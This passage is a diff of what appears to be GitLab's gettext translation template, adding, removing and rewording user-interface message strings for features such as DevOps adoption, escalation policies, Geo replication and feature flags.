+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8644,6 +8722,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9325,9 +9406,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9358,9 +9436,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9412,6 +9487,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9463,6 +9541,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9496,6 +9577,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9823,27 +9907,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10066,9 +10129,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10288,9 +10357,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10657,6 +10723,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11380,22 +11449,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11404,6 +11479,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11431,6 +11509,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11452,6 +11533,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11464,21 +11548,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11545,15 +11641,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11581,6 +11677,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11809,7 +11908,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11824,6 +11923,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11833,9 +11950,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11950,9 +12064,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12007,6 +12118,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12136,13 +12250,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12220,6 +12334,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12265,9 +12382,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12289,9 +12403,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12961,9 +13072,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12976,12 +13084,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13090,6 +13204,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13151,7 +13313,10 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13795,6 +13960,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13819,9 +13987,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13849,9 +14014,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13870,9 +14032,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13915,9 +14074,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13933,7 +14089,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14185,6 +14341,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14290,6 +14455,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14308,6 +14476,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14335,6 +14506,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14602,6 +14782,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14629,6 +14812,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14656,6 +14842,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14680,6 +14869,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14707,6 +14899,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14752,6 +14947,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14764,10 +14962,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14932,6 +15136,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14944,10 +15154,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15193,9 +15406,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15292,16 +15502,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15334,9 +15547,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15391,6 +15601,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15469,7 +15682,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15583,6 +15796,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15643,6 +15859,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15664,13 +15883,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15733,6 +15955,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16051,9 +16276,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16090,22 +16312,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16177,7 +16408,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16192,6 +16423,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16204,6 +16438,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16321,9 +16567,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16354,9 +16597,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16441,9 +16681,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16453,9 +16708,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16609,6 +16861,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16858,6 +17113,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16891,6 +17149,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16903,9 +17164,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16918,6 +17188,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17044,6 +17317,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17083,6 +17359,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17098,10 +17377,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17137,9 +17416,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17215,6 +17503,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17254,6 +17545,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17293,6 +17587,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17308,9 +17605,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17440,7 +17734,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17638,10 +17932,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17719,7 +18013,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17905,7 +18199,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18139,6 +18433,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18208,12 +18505,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18241,6 +18532,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18286,6 +18598,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18388,6 +18703,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
